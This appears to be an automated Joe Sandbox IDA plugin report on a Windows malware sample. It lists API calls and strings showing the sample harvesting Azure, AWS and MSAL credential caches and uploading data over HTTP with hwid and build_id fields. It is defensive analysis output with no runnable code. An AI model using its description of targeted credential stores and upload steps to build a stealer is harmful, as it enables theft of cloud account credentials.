Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$Copy$AllocAllocateCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID: passwords.txt
API String ID: 2344884248-347816968
Opcode ID: 3327ec5c1400be6842edfd57d2ce6a8c2ce6e78233792e8feb2af2dff09eac8a
Instruction ID: 5187332526dd9eaab5980299739b0c935f34caa2390ed8cba0caac78bbc9e15c
Opcode Fuzzy Hash: 3327ec5c1400be6842edfd57d2ce6a8c2ce6e78233792e8feb2af2dff09eac8a
Instruction Fuzzy Hash: D5A120B2950105AFCB06FBA0ED96DEE377CAF14301F089425F507A62A1DF346A09DB72

Function 003E6350 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 121stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003E6367

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

lstrcatA.KERNEL32(?,00000000), ref: 003E6389
lstrcatA.KERNEL32(?,\.azure\), ref: 003E63A3

Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5EBC
Part of subcall function 003E5EA0: FindFirstFileA.KERNEL32(?,?), ref: 003E5ED3
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E5EFC
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5F16
Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F3B
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01E9), ref: 003E5F4A
Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F67
Part of subcall function 003E5EA0: PathMatchSpecA.SHLWAPI(?,?), ref: 003E5F97
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,031D0848,?,000003E8), ref: 003E5FC3
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FD5
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,?), ref: 003E5FE3
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FF5
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,?), ref: 003E6009

memset.MSVCRT ref: 003E63E0
lstrcatA.KERNEL32(?,00000000), ref: 003E6408
lstrcatA.KERNEL32(?,\.aws\), ref: 003E6422

Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F86
Part of subcall function 003E5EA0: CopyFileA.KERNEL32(?,00000000,00000001), ref: 003E60AA
Part of subcall function 003E5EA0: DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003F01E9), ref: 003E6119

memset.MSVCRT ref: 003E645F
lstrcatA.KERNEL32(?,00000000), ref: 003E6487
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 003E64A1

Part of subcall function 003E5EA0: FindNextFileA.KERNEL32(?,?), ref: 003E6160
Part of subcall function 003E5EA0: FindClose.KERNEL32(?), ref: 003E6172

memset.MSVCRT ref: 003E64DE

Strings

msal.cache, xrefs: 003E64AC
\.azure\, xrefs: 003E6397
Azure\.azure, xrefs: 003E63A9
2o>, xrefs: 003E63C2, 003E6441, 003E64C0, 003E6501, 003E63C7, 003E6446, 003E64C5
\.IdentityService\, xrefs: 003E6495
*.*, xrefs: 003E63AE, 003E642D
Azure\.IdentityService, xrefs: 003E64A7
Azure\.aws, xrefs: 003E6428
\.aws\, xrefs: 003E6416

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$2o>$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2861501092-3318510844
Opcode ID: 7fc412382c163e85b540a87d1df5b51d9a483e62ae09e5b36ec871f22b001590
Instruction ID: 6710cb46a31ad5f1950afe57e79af5228cbda1ec600fa04de8ebee9d869872e0
Opcode Fuzzy Hash: 7fc412382c163e85b540a87d1df5b51d9a483e62ae09e5b36ec871f22b001590
Instruction Fuzzy Hash: CE419376E4024C7ACB1AF7B0DC87FEE33286F18700F488969F7156A1D1EAB067488B51

Function 003D7160 Relevance: 32.0, APIs: 21, Instructions: 482stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003DFA20: StrCmpCA.SHLWAPI(?,003F3410,?,003D90A5,003F3410,00000000), ref: 003DFA2A

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D725E
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 003D744B
RtlAllocateHeap.NTDLL(00000000), ref: 003D7452
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D7292

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

lstrcatA.KERNEL32(00000000,00000000,00000000,031D08B8,003F3410,031D08B8,003F3410,00000000), ref: 003D757D
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D7589
lstrcatA.KERNEL32(00000000,00000000), ref: 003D7599
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D75A5
lstrcatA.KERNEL32(00000000,00000000), ref: 003D75B5
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D75C1
lstrcatA.KERNEL32(00000000,00000000), ref: 003D75D1
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D75DD
lstrcatA.KERNEL32(00000000,00000000), ref: 003D75ED
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D75F9
lstrcatA.KERNEL32(00000000,00000000), ref: 003D7609
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D7615
lstrcatA.KERNEL32(00000000,00000000), ref: 003D7652
lstrcatA.KERNEL32(00000000,003F3408), ref: 003D7666
lstrlenA.KERNEL32(00000000), ref: 003D76B3
lstrlenA.KERNEL32(00000000), ref: 003D76BF

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

DeleteFileA.KERNEL32(00000000,?,?,?,003F01E9), ref: 003D771A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$File$CopyHeap$AllocateDeleteProcess
String ID:
API String ID: 510441641-0
Opcode ID: 09e8e78267a8743662e7d80dcb60fe53dc5ec4f0d5897c76ee7f1c2103af756b
Instruction ID: 8c58bfefbd81dcf5dd0c830e7bff5ae09c97ca165e6d7868edebdd3dbb878009
Opcode Fuzzy Hash: 09e8e78267a8743662e7d80dcb60fe53dc5ec4f0d5897c76ee7f1c2103af756b
Instruction Fuzzy Hash: 3E022373910144AFCB06FBA0EC96DEE777CAF14301F544126F507AA2A1EF346A09DB62

Function 003D8DD0 Relevance: 31.9, APIs: 21, Instructions: 390stringfilememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E0B80: GetSystemTime.KERNEL32(003F01E9,031D69A0,003F01E9,?,00000030,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003E0BA9

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D8E75
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003D8EAA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 003D8FC9
lstrcatA.KERNEL32(00000000,00000000,031D08B8,003F3410,031D08B8,003F3410,00000000), ref: 003D90F3
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D90FF
lstrcatA.KERNEL32(00000000,00000000), ref: 003D910F
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D911B
lstrcatA.KERNEL32(00000000,00000000), ref: 003D912B
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D9137
lstrcatA.KERNEL32(00000000,00000000), ref: 003D9147
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D9153
lstrcatA.KERNEL32(00000000,00000000), ref: 003D9163
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D916F
lstrcatA.KERNEL32(00000000,00000000), ref: 003D917F
lstrcatA.KERNEL32(00000000,003F340C), ref: 003D918B
lstrcatA.KERNEL32(00000000,00000000), ref: 003D919B
lstrcatA.KERNEL32(00000000,003F3408), ref: 003D91A7
lstrlenA.KERNEL32(00000000), ref: 003D91FC
lstrlenA.KERNEL32(00000000), ref: 003D9208
RtlAllocateHeap.NTDLL(00000000), ref: 003D8FD0

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E10F0: memset.MSVCRT ref: 003E110A
Part of subcall function 003E10F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,003D9753,003D9C77), ref: 003E113D
Part of subcall function 003E10F0: HeapAlloc.KERNEL32(00000000,?,003D9753,003D9C77), ref: 003E1144
Part of subcall function 003E10F0: wsprintfW.USER32 ref: 003E1153
Part of subcall function 003E10F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 003E11BB
Part of subcall function 003E10F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 003E11CA
Part of subcall function 003E10F0: CloseHandle.KERNEL32(00000000,?,?), ref: 003E11D1

DeleteFileA.KERNEL32(00000000), ref: 003D9263

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$Copy$AllocAllocateCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID:
API String ID: 2344884248-0
Opcode ID: 418215b3e28036b95ca6fbb10fb214139a69973bfed1c3f3309d8bfeab6fc497
Instruction ID: 51afed260191969a0a3c5ff998442d93463e6d46af80c28555862e4e7bbb01eb
Opcode Fuzzy Hash: 418215b3e28036b95ca6fbb10fb214139a69973bfed1c3f3309d8bfeab6fc497
Instruction Fuzzy Hash: 35D11272910104AFCB06FBB0ED96DEE7778AF14301F148536F507AA2A1DF246A09DB62

Function 003D3E20 Relevance: 30.2, APIs: 13, Strings: 4, Instructions: 457networkfilestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D3EAC
StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,00000030), ref: 003D3EC7
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D400D
HttpOpenRequestA.WININET(00000000,031D0838,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D4048
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D406C

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

lstrlenA.KERNEL32(00000000,00000000,?,?,003E6B92,?,003F01E9,00000000,003E6B92,?,00000000,003E6B92,",00000000,003E6B92,build_id), ref: 003D42BD
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D42D6
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003D42E7
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003D42FE
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 003D434A
InternetCloseHandle.WININET(00000000), ref: 003D4355
InternetCloseHandle.WININET(?), ref: 003D4367
InternetCloseHandle.WININET(00000000), ref: 003D4371

Strings

", xrefs: 003D411C, 003D422C
build_id, xrefs: 003D420A
------, xrefs: 003D3F32, 003D4072, 003D4181
hwid, xrefs: 003D40FA

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$FileHttpOpenReadRequestlstrcat$ConnectCrackOptionSend
String ID: "$------$build_id$hwid
API String ID: 1585128682-50533134
Opcode ID: f4e23614e4a802f38ec50705aa3890e0350a2d7d2aa248433c0a52b1c40c91c2
Instruction ID: 27bab365edb6f4d30832849654e93767fd35ec6df88ccd07f2c7d562ec1a6012
Opcode Fuzzy Hash: f4e23614e4a802f38ec50705aa3890e0350a2d7d2aa248433c0a52b1c40c91c2
Instruction Fuzzy Hash: 9FF1D277D10148AEDB06EBA0ECD2EEE7378AF14700F54817AF1136A291DF706A09DB65

Function 003E2000 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 003E202B
lstrcpyA.KERNEL32(?,00000000,?,00000104,?,00000104,00000104), ref: 003E20C1
lstrcpyA.KERNEL32(?,00000000), ref: 003E20FA
lstrcpyA.KERNEL32(?,00000000), ref: 003E213C
lstrcpyA.KERNEL32(?,00000000), ref: 003E217E
lstrcpyA.KERNEL32(?,00000000), ref: 003E21BF
StrCmpCA.SHLWAPI(00000000,true,?), ref: 003E2322
strtok_s.MSVCRT ref: 003E23AC

Strings

false, xrefs: 003E233C
an>, xrefs: 003E200E, 003E23A6, 003E2016, 003E23A9
true, xrefs: 003E231C

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s
String ID: an>$false$true
API String ID: 2610293679-2193932823
Opcode ID: fc4e08fdc4d335987805125f7dcd11e84fca58c3d8de4fe3a9816453bbe8da94
Instruction ID: f0a7b83841bf8c993bf80164eaf15501fb965723ac841fa03df1c95dea6b5ec3
Opcode Fuzzy Hash: fc4e08fdc4d335987805125f7dcd11e84fca58c3d8de4fe3a9816453bbe8da94
Instruction Fuzzy Hash: 57A1CAB2D00218ABDB15EBB0DC85DEF777CAF54300F004665F51AAB292EB74A688CF51

Function 003E0730 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 171memorycomtimeCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?,Work Dir: In memory,00000000), ref: 003E0758
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000), ref: 003E0769
CoCreateInstance.OLE32(003F49C0,00000000,00000001,003F48F0,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?), ref: 003E0783
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?), ref: 003E07BC
VariantInit.OLEAUT32(?), ref: 003E081B

Part of subcall function 003E0630: CoCreateInstance.OLE32(003F4770,00000000,00000001,003F38C4,003E0847,00000000,00000000,00000030,003E0847,00000030,?,00000001,?,00000030,00000000,00000000), ref: 003E066D
Part of subcall function 003E0630: SysAllocString.OLEAUT32(?), ref: 003E067B
Part of subcall function 003E0630: _wtoi64.MSVCRT ref: 003E06BA
Part of subcall function 003E0630: SysFreeString.OLEAUT32(?), ref: 003E06D9
Part of subcall function 003E0630: SysFreeString.OLEAUT32(00000000), ref: 003E06E0

FileTimeToSystemTime.KERNEL32(?,00000000,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?,Work Dir: In memory,00000000), ref: 003E0852
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?,Work Dir: In memory,00000000), ref: 003E085E
HeapAlloc.KERNEL32(00000000,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,003F3684,00000000,?,Work Dir: In memory,00000000,?), ref: 003E0865
VariantClear.OLEAUT32(?), ref: 003E08A9
wsprintfA.USER32 ref: 003E0891

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Strings

WQL, xrefs: 003E07D6
Select * From Win32_OperatingSystem, xrefs: 003E07D1
InstallDate, xrefs: 003E082D
ROOT\CIMV2, xrefs: 003E079B
Unknown, xrefs: 003E08CC
%d/%d/%d %d:%d:%d, xrefs: 003E088B

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
